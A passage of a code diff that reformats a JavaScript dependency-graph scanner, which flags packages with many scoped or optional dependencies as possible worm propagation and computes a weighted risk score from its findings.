- evidence: `peer dep chain: ${pkg.name} -> ${peerName}`
328
+ evidence: `peer dep chain: ${pkg.name} -> ${peerName}`,
311
329
  });
312
330
  }
313
331
  }
314
332
  }
315
333
 
316
- if (pkg.dependencies && typeof pkg.dependencies === 'object' && Object.keys(pkg.dependencies).length > 5) {
317
- const transitiveCount = Object.keys(pkg.dependencies).filter(k => k.includes('/')).length;
334
+ if (
335
+ pkg.dependencies &&
336
+ typeof pkg.dependencies === 'object' &&
337
+ Object.keys(pkg.dependencies).length > 5
338
+ ) {
339
+ const transitiveCount = Object.keys(pkg.dependencies).filter((k) => k.includes('/')).length;
318
340
  if (transitiveCount > 3) {
319
341
  findings.push({
320
342
  id: 'ATK-011',
321
343
  severity: 'medium',
322
344
  title: 'Transitive propagation (worm)',
323
345
  description: `Package "${pkg.name}" has excessive transitive dependencies (${transitiveCount} scoped)`,
324
- evidence: `heavy transitive dep chain: ${pkg.name}`
346
+ evidence: `heavy transitive dep chain: ${pkg.name}`,
325
347
  });
326
348
  }
327
349
  }
@@ -332,7 +354,7 @@ export function analyzeDependencyGraph(lockfileData) {
332
354
  severity: 'low',
333
355
  title: 'Transitive propagation (worm)',
334
356
  description: `Package "${pkg.name}" has excessive optional dependencies (${Object.keys(pkg.optionalDependencies).length})`,
335
- evidence: `optional dep chain: ${pkg.name} -> [${Object.keys(pkg.optionalDependencies).slice(0, 3).join(', ')}, ...]`
357
+ evidence: `optional dep chain: ${pkg.name} -> [${Object.keys(pkg.optionalDependencies).slice(0, 3).join(', ')}, ...]`,
336
358
  });
337
359
  }
338
360
  }
@@ -342,8 +364,8 @@ export function analyzeDependencyGraph(lockfileData) {
342
364
 
343
365
  export function generateLockfileReport(lockfileData) {
344
366
  const total = lockfileData.packages.length;
345
- const dev = lockfileData.packages.filter(p => p.dev).length;
346
- const optional = lockfileData.packages.filter(p => p.optional).length;
367
+ const dev = lockfileData.packages.filter((p) => p.dev).length;
368
+ const optional = lockfileData.packages.filter((p) => p.optional).length;
347
369
 
348
370
  const findings = [];
349
371
 
@@ -363,12 +385,14 @@ export function generateLockfileReport(lockfileData) {
363
385
  optionalDependencies: optional,
364
386
  lockfileVersion: lockfileData.version,
365
387
  findings,
366
- riskScore: calculateRiskScore(findings)
388
+ riskScore: calculateRiskScore(findings),
367
389
  };
368
390
  }
369
391
 
370
392
  function calculateRiskScore(findings) {
371
- if (!findings.length) return '0.0';
393
+ if (!findings.length) {
394
+ return '0.0';
395
+ }
372
396
  const weights = { critical: 10, high: 7, medium: 4, low: 2, info: 0.5 };
373
397
  const maxSeverity = findings.reduce((max, f) => {
374
398
  const w = weights[f.severity] || 0;
@@ -377,4 +401,4 @@ function calculateRiskScore(findings) {
377
401
  const countBonus = Math.min(findings.length * 0.3, 3);
378
402
  const score = Math.min(maxSeverity + countBonus, 10);
379
403
  return score.toFixed(1);
380
- }
404
+ }